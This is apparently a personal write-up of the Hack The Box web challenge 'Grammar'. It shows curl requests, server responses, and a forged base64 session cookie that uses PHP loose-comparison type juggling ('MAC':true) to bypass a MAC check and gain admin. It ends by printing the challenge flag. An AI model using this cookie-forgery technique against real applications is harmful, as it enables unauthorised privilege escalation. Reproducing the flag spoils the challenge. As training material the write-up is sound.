Hack The Box / Challenges / Web / Grammar

Opening the web page we're presented with a 403:

Forbidden

You don't have permission to access /index.html on this server.
Apache/2.4.18 (Ubuntu) Server at docker.hackthebox.eu Port 32937

Tried to change to POST, PUT, HEAD. No difference.

If it is unauthorized, it should require some sort of authentication (or maybe different path? need to study this more).. so let's try to provide it.

curl --user test:test http://docker.hackthebox.eu:32937 -v
> GET / HTTP/1.1
> Host: docker.hackthebox.eu:32937
> Authorization: Basic dGVzdDp0ZXN0
> User-Agent: curl/7.64.0
> Accept: */*
> 
< HTTP/1.1 403 Forbidden
< Date: Sat, 07 Sep 2019 12:52:10 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 298
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at docker.hackthebox.eu Port 32937</address>
</body></html>

Comparing the error message we see that it is the standard apache2 404, nothing was customized.

This challenge is from 22/7/2017, maybe there's something out for this version of apache2 or based on wrong configuration that lead to authentication bypass? Other strange thing is that, it is blocking the page access but it is not requesting for any authentication.

How would apache2 need to be configured in order to return a 403 without asking for authentication?

I tried asking for a valid user in a local test:

<Directory /var/www/html/test-auth>
    Require valid-user
</Directory>

The result was a 500 instead of 403:

[Sat Sep 07 13:58:28.384875 2019] [authz_core:debug] [pid 10225] mod_authz_core.c(809): [client 10.0.0.253:56174] AH01626: authorization result of Require valid-user : denied (no authenticated user yet)
[Sat Sep 07 13:58:28.384883 2019] [authz_core:debug] [pid 10225] mod_authz_core.c(809): [client 10.0.0.253:56174] AH01626: authorization result of <RequireAny>: denied (no authenticated user yet)
[Sat Sep 07 13:58:28.384895 2019] [core:error] [pid 10225] [client 10.0.0.253:56174] AH00027: No authentication done but request not allowed without authentication for /test-auth. Authentication not configured?
[Sat Sep 07 13:58:28.384898 2019] [core:trace3] [pid 10225] request.c(119): [client 10.0.0.253:56174] auth phase 'check user' gave status 500: /test-auth
[Sat Sep 07 13:58:28.384929 2019] [http:trace3] [pid 10225] http_filters.c(1089): [client 10.0.0.253:56174] Response sent with status 500, headers:
[Sat Sep 07 13:58:28.384933 2019] [http:trace5] [pid 10225] http_filters.c(1096): [client 10.0.0.253:56174]   Date: Sat, 07 Sep 2019 12:58:28 GMT
[Sat Sep 07 13:58:28.384936 2019] [http:trace5] [pid 10225] http_filters.c(1099): [client 10.0.0.253:56174]   Server: Apache/2.4.25 (Debian)
[Sat Sep 07 13:58:28.384940 2019] [http:trace4] [pid 10225] http_filters.c(918): [client 10.0.0.253:56174]   Content-Length: 607
[Sat Sep 07 13:58:28.384943 2019] [http:trace4] [pid 10225] http_filters.c(918): [client 10.0.0.253:56174]   Connection: close
[Sat Sep 07 13:58:28.384946 2019] [http:trace4] [pid 10225] http_filters.c(918): [client 10.0.0.253:56174]   Content-Type: text/html; charset=iso-8859-1
[Sat Sep 07 13:58:28.384974 2019] [core:trace6] [pid 10225] core_filters.c(525): [client 10.0.0.253:56174] core_output_filter: flushing because of FLUSH bucket
[Sat Sep 07 13:58:28.385055 2019] [core:trace6] [pid 10225] core_filters.c(525): [client 10.0.0.253:56174] core_output_filter: flushing because of FLUSH bucket

Reading some documentation we see that the 403 shown actually refers to access denied, this means the resource is available but the requester is not permitted to grab it.

If we use in apache2:

Require all denied

We then get the same error message. What can be used to block the permission?

  • Arbritary variables like %{HTTP_USER_AGENT} in conditionals;
  • Host specification Require host address;
  • The mod_rewrite rules.

I can only see the following possible user input data we can control:

  1. The request path
  2. The request body
  3. The request type
  4. The request headers

The headers can include, for example:

  • Cookies
  • X-Forward-For header, used in WAFs for authorization
  • ?

While trying different requests to change the headers, I noticed something interesting:

curl -i http://docker.hackthebox.eu:32937 -H 'Host:' 
HTTP/1.1 400 Bad Request
Date: Sat, 07 Sep 2019 13:28:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 303
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 172.17.0.40 Port 80</address>
</body></html>

If we don't provide the Host header, the server will return the private address in the output.

$ ipcalc 172.17.0.40/32
Address:   172.17.0.40          10101100.00010001.00000000.00101000 
Netmask:   255.255.255.255 = 32 11111111.11111111.11111111.11111111 
Wildcard:  0.0.0.0              00000000.00000000.00000000.00000000 
=>
Hostroute: 172.17.0.40          10101100.00010001.00000000.00101000 
Hosts/Net: 1                     Class B, Private Internet

Well, maybe the permission restriction is based on IP address?

Tried to make a few requests using some headers that specify the origin address, for instance:

  • X-Forwarded-For
  • X-Client-IP
  • X-Forwarded-Host
  • Origin

I got nothing interesting.

Then I tried to search for any Internet information on tricks to bypass 403 authorization reply from apache, or any configuration issue. This lead me to an article in 2017 about an OPTIONS flaw.

To make an OPTIONS request in curl we do:

$ curl http://docker.hackthebox.eu:$P/index.html -X OPTIONS -i HTTP/1.1 200 OK Date: Sun, 08 Sep 2019 14:10:35 GMT Server: Apache/2.4.18 (Ubuntu) Allow: GET,HEAD,POST,OPTIONS Content-Length: 0 Content-Type: text/html

So, it is in the list of available request types.

Other thing I remembered is that this message can show when we're trying to list the directory files because the server did not found any of the default pages it looks (index.html, index.php, etc.) So it's like there are files that would show content but not with the default namings.

While trying to follow this line of thought I tried to make some GET requests on possible other pages, nothing different. What if, instead of GET, I used another method from those that are allowed? (which I got by making an OPTIONS request.)

So, I tried a POST on index.html:

    $ curl http://docker.hackthebox.eu:$P/index.html -X POST -i
    HTTP/1.1 404 Not Found
    Date: Sun, 08 Sep 2019 14:35:13 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Content-Length: 297
    Content-Type: text/html; charset=iso-8859-1

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL /index.html was not found on this server.</p>
    <hr>
    <address>Apache/2.4.18 (Ubuntu) Server at docker.hackthebox.eu Port 33714</address>
    </body></html>

OK... 404 is not 403! so it is actually not blocking requests based on IP address like I thought previously. Instead of html, let's try php:

    $ curl http://docker.hackthebox.eu:$P/index.php -X POST -i
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2019 14:35:20 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Set-Cookie: ses=eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IkZhbHNlIiwiTUFDIjoiZmY2ZDBhNTY4ZDYxZTVhMDNiY2RiMDQ1MDlkNTg4NWQifQ%3D%3D
    Vary: Accept-Encoding
    Content-Length: 382
    Content-Type: text/html; charset=UTF-8

    <html>
    <body>

    <form action="index.php" method="post">
    Change Username: <br>
    <input type="text" name="fuckhtml" placeholder="notimportant">
    <!-- HTB hint:really not important...totaly solvable without using it! Just there to fill things and to save you from some trouble you might get into :) -->
    <input type="submit" value="Change">
    </form>
    </body>
    </html>




    not an admin (yet)

OK, now we got some progress. We see a strange cookie first. Then a POST form with fuckhtml variable, with a description of "Change Username:".. and in the end "not an admin (yet)".

Let's try a POST with that variable set to admin.

    $ curl http://docker.hackthebox.eu:$P/index.php -X POST -i --data "fuckhtml=admin"
    HTTP/1.1 200 OK
    Date: Sun, 08 Sep 2019 14:41:56 GMT
    Server: Apache/2.4.18 (Ubuntu)
    Set-Cookie: ses=eyJVc2VyIjoiYWRtaW4iLCJBZG1pbiI6IkZhbHNlIiwiTUFDIjoiZWY3YmYzYWNmNGUzNzBmOTkxYTYzNDJiNGY1N2RlZTEifQ%3D%3D
    Set-Cookie: ses=eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IkZhbHNlIiwiTUFDIjoiZmY2ZDBhNTY4ZDYxZTVhMDNiY2RiMDQ1MDlkNTg4NWQifQ%3D%3D
    Vary: Accept-Encoding
    Content-Length: 382
    Content-Type: text/html; charset=UTF-8

    <html>
    <body>

    <form action="index.php" method="post">
    Change Username: <br>
    <input type="text" name="fuckhtml" placeholder="notimportant">
    <!-- HTB hint:really not important...totaly solvable without using it! Just there to fill things and to save you from some trouble you might get into :) -->
    <input type="submit" value="Change">
    </form>
    </body>
    </html>




    not an admin (yet)

Without providing the cookie, it has sent two cookies, sending the original cookie, we get the same reply. But with a different cookie. Decoding these cookies we get for the first one:

{"User":"whocares","Admin":"False","MAC":"ff6d0a568d61e5a03bcdb04509d5885d"}

And for the second request:

{"User":"admin","Admin":"False","MAC":"ef7bf3acf4e370f991a6342b4f57dee1"}

So, the user changed but "Admin" flag is set to false and the MAC changed. Next step is to try understand how the MAC is built or how to bypass it.

PHP Documentation

Trying to look for potential bugs or exploiting tricks I came across this page from php (hash_hmac function documentation) which describes a method that calculates the MAC providing an algorithm. This made me think that possibly it is not using a simple MD5 algorithm.

However, looking at the comments I found two interesting comments:

  1. If we pass an array instead of a string it will generate a warning and return NULL.
  2. A comment from an user saying: In certain cases, information can be leaked by using a timing attack. It takes advantage of the == operator only comparing until it finds a difference in the two strings.

My first thought is to try make a timing attack, however I'm not sure of the feasibility of this, never did a timing attack. Looking at hash_compare documentation and comments we see it is also used to prevent PHP loose comparison attacks.

So the second attack we could try is on the hash comparison (assuming it is == and not ===).

Attacking Potential Hash Loose Comparison

The loose comparsion attack exploits the fact that string types in PHP can be seen as other types.

The code, on the server should look like:

<?php

    function calculate_mac($obj) {
        // do some magic that we don't know ... placing a sample code.
        $payload = sprintf("%s%s", $obj['User'], $obj['Admin']);
        return md5($payload);
    }

    if(isset($_COOKIE['ses'])) {
        // it should be already URL decoded, do base64 decode
        $ses_str = base64_decode($_COOKIE['ses']);

        // Convert to object
        $ses_obj = json_decode($ses_str);

        print("Got object:");
        print_r($ses_obj);

        // Calculate and validate MAC
        $mac = calculate_mac($ses_obj);

        // Point of the attack is this comparison
        if( $mac == $ses_obj['MAC'] ) {
            print("GOOD MAC!")
        } else {
            print("BAD COOKIE!")
        }
    }

?>

For this attack to be successfull we need:

  1. Send a SES cookie containing a dummy user, admin flag set to True
  2. The hash value must be set to something that when compared with a random string, evaluates to True.

Now initially I thought that I had to use PHP loose type bugs in 2 but when I started preparing myself for that, I decided to have a look at the PHP loose string comparison table. In order for a string comparison to return true when being loosly compared, it must:

  1. Compare random string with TRUE of boolean type;
  2. Compare random string with 0 of integer type;
  3. Compare random string with the same random string.

From the code we think that potentially exists in the backend we know that there is a JSON string decoding. This means the string is unserialized into a JSON data structure which can be a dictionary or a PHP object.

What do we need to put in our JSON data structure such that the MAC property evaluates to PHP True boolean? After trying several options TRUE, "True", and true this last one is the correct one!

Launching the attack

Basically we well send a session cookie with a MAC property that converts to PHP TRUE boolean.

{"User":"whocares","Admin":"True","MAC":true}

Which gives:

$ curl -X POST http://docker.hackthebox.eu:$P/index.php -i -H 'Cookie: ses=eyJVc2VyIjoid2hvY2FyZXMiLCJBZG1pbiI6IlRydWUiLCJNQUMiOnRydWV9'
HTTP/1.1 200 OK
Date: Thu, 12 Sep 2019 07:53:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 639
Content-Type: text/html; charset=UTF-8

<html>
<body>

<form action="index.php" method="post">
Change Username: <br>
<input type="text" name="fuckhtml" placeholder="notimportant">
<!-- HTB hint:really not important...totaly solvable without using it! Just there to fill things and to save you from some trouble you might get into :) -->
<input type="submit" value="Change">
</form>
</body>
</html>


<h1> well done! flag is: TypejugAlingSOulS </h1><br>I suck at php so if you finished the challenge with a method other than type juggling the MAC field or found a bug,please let me know :D <br>-forGP <br><br> oh...<a href="http://imgur.com/m1OOHuE">and look how kind I am :P </a>

That gives our flag.

References

  • https://wiki.php.net/rfc/timing_attack
  • https://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/
  • https://cryptologie.net/article/268/how-to-compare-password-hashes-in-php/
jemos / Sep, 14 2019